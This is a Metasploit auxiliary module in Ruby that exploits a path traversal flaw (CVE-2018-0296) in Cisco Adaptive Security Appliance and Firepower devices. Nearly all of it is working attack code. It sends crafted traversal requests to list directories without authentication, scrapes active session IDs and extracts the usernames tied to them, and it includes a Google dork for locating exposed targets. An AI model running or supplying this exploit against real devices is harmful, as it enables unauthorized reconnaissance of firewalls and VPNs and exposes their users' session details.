Share
require 'msf/core'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Cisco Adaptive Security Appliance - Path Traversal",  
'Description' => %q{  
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)  
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.  
Google Dork:inurl:+CSCOE+/logon.html  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yassine Aboukir', #Initial discovery  
'Angelo Ruwantha @h3llwings' #msf module  
],  
'References' =>  
[  
['EDB', '44956'],  
['URL', 'https://www.exploit-db.com/exploits/44956/']  
],  
'Arch' => ARCH_CMD,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
},  
'Platform' => ['unix','linux'],  
'Targets' =>  
[  
['3000 Series Industrial Security Appliance (ISA)  
ASA 1000V Cloud Firewall  
ASA 5500 Series Adaptive Security Appliances  
ASA 5500-X Series Next-Generation Firewalls  
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers  
Adaptive Security Virtual Appliance (ASAv)  
Firepower 2100 Series Security Appliance  
Firepower 4100 Series Security Appliance  
Firepower 9300 ASA Security Module  
FTD Virtual (FTDv)', {}]  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),  
OptString.new('SSL', [true, 'set it as true', 'true']),  
OptString.new('RPORT', [true, '443', '443']),  
], self.class)  
end  
  
  
def run  
uri = target_uri.path  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),  
  
})  
  
  
if res && res.code == 200 && res.body.include?("{'name'")  
print_good("#{peer} is Vulnerable")  
print_status("Directory Index ")  
print_good(res.body)  
res_dir = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),  
  
})  
res_users = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),  
  
})  
userIDs=res_users.body.scan(/[0-9]\w+/).flatten  
  
print_status("CSCEO Directory ")   
print_good(res_dir.body)  
  
print_status("Active Session(s) ")  
print_status(res_users.body)  
x=0  
begin  
print_status("Getting User(s)")  
while (x<=userIDs.length)  
users = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),  
  
})  
  
grab_username=users.body.scan(/user:\w+/)  
nonstr=grab_username  
if (!nonstr.nil? && nonstr!="")  
print_good("#{nonstr}")  
end  
x=x+1  
end  
rescue  
print_status("Complete")  
end  
  
  
else  
print_error("safe")  
return Exploit::CheckCode::Safe  
end  
end  
end